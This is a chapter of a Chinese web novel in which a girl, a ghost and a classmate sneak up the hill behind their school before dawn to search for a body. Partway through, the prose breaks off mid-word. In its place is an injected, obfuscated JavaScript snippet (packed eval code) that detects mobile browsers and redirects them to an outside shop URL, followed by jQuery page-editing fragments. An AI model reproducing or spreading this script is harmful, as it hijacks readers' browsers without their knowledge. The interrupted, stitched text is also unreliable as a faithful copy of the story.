90. 第 90 章

作品:《兼职女巫返校季

    上山前夕,纪之水做好了充足的准备,梅陆露则忧愁得做了几天噩梦。


    登山包里带的物品尽量从轻从简,但主要的物品不能缺少,指南针、小型急救包、打火机和保温毯……很多东西能够直接从附近的户外用品店里购置齐全,剩余的依赖网购补充也很便捷,纪之水根据清单一一核对过,没有错漏,方才放下心。


    工欲善其事,必先利其器。


    虽然作出上山的决定看起来像是头脑一热,过后才思索可行性,开始担忧是否安全。但其实,纪之水从来没看轻过这次行动。


    往严重了说,这可是性命攸关的时刻,危险程度绝对不低于和梅陆露一起进杀人犯的家门。


    “充电宝放在包里了吗?记得带吃的,但不能带太多,不然包太重反而是负担。卫星电话也得带上。万一山里没信号呢?”


    梅陆露恨不得一天检查两遍纪之水的包。


    纪之水能够理解她梅陆露的担忧。


    每当这时候,纪之水便蹲在梅陆露旁边,不厌其烦地和她一起核对:“东西都带齐啦。”


    没有谁会比原住民更清楚山上的情况,除了物品的准备,纪之水还打算问问穆婉莹有什么建议。


    往前数十几年,学校后山前的铁丝围栏还没竖起来,穆婉莹上学那会儿,还有同学结伴偷偷往山上爬。纪之水靠着一身校服正大光明出入学校,只是不去教室报道了,上课时间也尽量躲着人群,不被认识她的人发现。


    目前看来她的行动十分隐蔽,暂时没有人通知保安把她从学校里揪出去。


    这几天,她和穆婉莹在那间废弃的文学社活动室里交谈。


    穆婉莹靠着梅陆露贡献的那块通灵板,一个字母一个字母地向纪之水拼凑出了这句话:


    ——死去的人已经死去了。重中之重,是你的安危。


    穆婉莹只要她安全。


    纪之水决计不会让关心她的人伤心。


    又过三天,雨停。


    时间的流逝素来不以人们的意志为转移,盘旋在金城上空的乌云终于散去了。


    天气预报说,接下来的几天都是晴朗的好天气。


    这天是周三,纪之水准备上山。


    ·


    纪之水换上金城高中的校服,背上包,走进了金城高中的校门。


    从纪之水踏进校门的那一刻起,穆婉莹来到她的身边。


    路灯勾勒出纪之水单薄的影子。


    彼时正值凌晨,天还没亮,教学楼里灯火通明,晨读已经开始了。一路绕过教学楼、宿舍区和水房,纪之水往后山的方向去,开始还遇到几个起的迟了没来得及跑进教室的学生,到了宿舍区之后,便再没有看到其他人。


    这条路只有她在走了。


    通灵板太重,纪之水没有带上。


    穆婉莹口不能言,一人一鬼相携着走完了沉默的路段。


    塔罗牌的预测会准吗?


    她对排面的解读会不会出问题?


    纪之水心里想着。


    一座山是那样的巍峨。


    即使只是与学校毗邻的那么一小块地方,翻找起来也并不容易。更何况穆婉莹对她们此行目的地只有隐约的记忆,指向方向要靠冥冥之中的感觉来维系,一点点加码的不确定性,纪之水知道她很有可能空耗许多时间,却没有得到想要的结果。


    二十年后今天,纪之水的寻觅像是在时光里刻舟求剑。


    山上植被旺盛,山林深处无人探索过的地方有什么,谁也不知道。即使近处,草垛下也可能藏着冬眠的蛇。再往深处的路,纪之水不敢也不会走了。


    出发前的无限忧虑不再困扰她。


    真到了这时候,纪之水心里反而很平静。


    天上悬挂着一轮月亮,周边笼罩着稀薄的云,清辉朦胧。到了学校边界,少有人来的地方,已经没有路灯了。天仿佛一下暗了下去,借着月光,远远的能够看见铁丝网的轮廓。


    纪之水打开手电筒。


    光线笔直地射了出去,驱散黑暗。


    与此同时,一个靠在树边的轮廓也显现出来。纪之水微微皱起了眉毛。


    “你终于来了。”仿佛很困倦似的,寇准打了个哈欠。


    手电筒的光照到寇准脚边,纪之水上前去,寇准眼下有层浅淡的青黑色,没休息好似的。


    十个高中生里十一个都有黑眼圈,这倒不是什么不寻常的事情。


    “等很久了?”


    “还行,”寇准抬起手腕看表,“半个钟头。”


    “你知道我要上山?”纪之水莫名的心里一紧。


    寇准的出现太出乎她的预料了。纪之水不喜欢这种失控感。


    寇准想要摆脱寇禹庆的拳脚相向不假,但同时纪之水也记得,他是寇禹庆的儿子。如果不是那天滚到她脚底下的花瓶……纪之水就算愿意帮寇准,有些话也是一句都不会讲的。


    纪之水仔仔细细地回顾了寇准这段时间的表现。


    寇准没办理学校的退宿,一直住在酒店里。他后来没再提过什么要住进纪之水家里的话,按部就班地上学、放学,甚至于穆若婷告诉过纪之水,寇准已经不和他以前的那些朋友——又或者说是小弟来往了。


    陆于栖也叹服于寇准一夜之间的改邪归正。


    “他甚至帮我警告了曹志存……”


    原本最害怕的家伙莫名其妙站到了她的那边,起初陆于栖还有点晕晕乎乎的,直到后来她推门回家,发现了皱着眉毛监督扫地机器人工作的寇准。陆于栖觉得有点儿离奇。


    多见了几次,这种诧异就成功蜕变成了习以为常的淡然。


    寇准最近常去纪之水那儿报道。


    除了从寇准家搬回来的那个箱子,纪之水将其小心收在卧室,登山杖之类的东西,她没特意收起来。寇准猜到一点什么倒也不意外。


    纪之水想通了,不再纠结。


    今天主要目的是上山搜寻穆婉莹的尸骨。


    迟则生变,不管今天寇准为什么回来,纪之水都不打算改期。


    “带上我吧,我很有用的。”寇准说。


    改头换面的寇准没有第一时间变成好人面相。他笑起来的时候还是有点威胁意味,即使嘴里说着恳求的话,“我去过山上,认得路。”


    纪之水把手电筒抛给寇准。


    “走吧。”


    她勉强同意了。


    寇准握着手电筒,照向挂在铁丝网门上的那把锈迹斑斑的锁。纪之水上前,娴熟地将铁丝捅进锁孔里。


    在金城,她的开锁技能得到了前所未有的锻炼。


    锁芯里面似乎也生锈了,推拉之间有种滞涩感。纪之水并不着急,耐心地一点点试探着位置。


    这一天对她来说还有很长的时光。


    寇准轻轻拨开纪之水的肩膀。


    纪之水动作一顿。她瞥了眼肩上的那只手,寇准的手很大,颇有力量感,骨节突出而分明。


    纪之水收起铁丝让开位置,寇准的手和她的肩膀一触即分,寇准在门前站定,用力将门向前一推。


    砰——


    门开了。


    摇摇欲坠的门上,那把锁也挂不住似的,几乎落进泥地里。


    许久少维护修葺,接口处都断掉了。


    破门比开锁来得更快啊。纪之水遗憾地把铁丝塞回去,抬头望向铁丝网后的山体。


    道路起初平坦。


    纪之水丢给寇准一些东


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928242|174629||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    西,防蚊虫叮咬的喷雾和零散的工具。短暂交接完毕,寇准急于表现他的作用,自告奋勇想要接过纪之水的登山包。


    纪之水拒绝了。她自己完全可以,东西交给别人,她不放心。


    想要跟在她身边,寇准只要管好自己就行。


    穆婉莹抬手,指向一个方位。


    纪之水顺着指向朝前看,泥泞的地面、草、掉光了叶子只剩下光秃秃枝干的树,一眼望去一片荒芜。


    冰冷月光照着枝桠,落在地上的树影扭曲如鬼爪。


    登山杖拨开拦路的树枝荆棘,纪之水在这时候发问:“你知道我要去找什么吗?”


    温度太低,一开口就呵出一口白气。


    “不知道。”


    寇准摇头。


    他热心地说:“你想找什么?草药?寻宝?不管是什么我都可以帮你,在山里我比你熟。”


    纪之水起先没说话。


    她根据穆婉莹的指引往前,寇准说完以后,周围安静下来,耳边只剩下行进的沙沙声。


    “陆于栖让我和你说声谢谢。”纪之水突兀地提起,“前段时间,她被年级里的一个男生纠缠,吓得也跟你一样躲在外面。那个男生和你玩得还挺好的。所以她有点儿怕你,没想到你那天会帮她。”


    曹志存死灰复燃的报复心被寇准一盆冷水浇了个透。陆于栖描述着那天的场面,话语中是藏不住的兴奋劲儿。


    “小事而已。”寇准不以为意。


    “你说你之前去过山上,为什么?我听别人说山里会有野生动物,不太安全,也没什么好玩的。”


    “不想上课啊。”寇准微微地叹息一声,带着笑意说,“有时候我更喜欢一个人待着,但是学校里能让人一个人安静待着的地方可不多。我也是偶然发现后山这里不会来人。至于动物……从没见到过。”


    “你不也是这样?”仿佛寻求认同感似的,寇准看向纪之水,“对我们来说,和人交流是很麻烦的。”


    纪之水耸了耸肩膀,没有应,“也许。”


    穆婉莹忽的放下了指着远处的胳膊。


    纪之水顺势停下来,她一面观察着穆婉莹的神情,一面环顾四周。


    说话的间隙,天亮了。


    寇准的声音响在身后,“现在可以告诉我,你要来找什么了么?”


    “你真想知道?我当然可以告诉你,只不过你最好做好心理准备。”


    纪之水停下脚步。


    她缓缓转过身,在寇准面前站定,或许是她的表情太郑重,寇准正色几分,眼神中隐约透出些不安。


    寇准说他做好了准备,他握紧了手电筒,掌心的汗滑得他有些握不住它。纪之水深深看了他一眼,目光锋利得如同能够切开人心,将那些见不得光的东西通通暴露在阳光之下。


    纪之水清晰地吐出两个字:“尸体。”


    “我要找的,是一个人的尸体。”


    ·


    晨读结束前,副班长照例清点了人数,向李茂汇报:“报告老师,今天应到五十人,实到四十九。”


    话在耳边转了一圈,李茂灌了口热茶,把吃进嘴边的茶叶吐回茶杯里,一句“下课吃饭”不上不下的卡在喉咙。


    底下几十双饥饿的眼睛闪闪发亮,呆滞地盯着讲台前。


    李茂视而不见,把眼镜从鼻梁向上推到头顶,架在脑门上。智能手机凑在眼前,他仔仔细细地翻阅了一遍信息,确保没有遗漏哪个家长的请假消息。


    李茂问:“怎么缺了一个人?有谁没到?”


    副班长说:“寇准没来。”


    “啪嗒”一声,黑色水笔落在桌面。顾天倾看向寇准空荡荡的座位,眯了眯眼睛,眼中浮现出一丝警惕。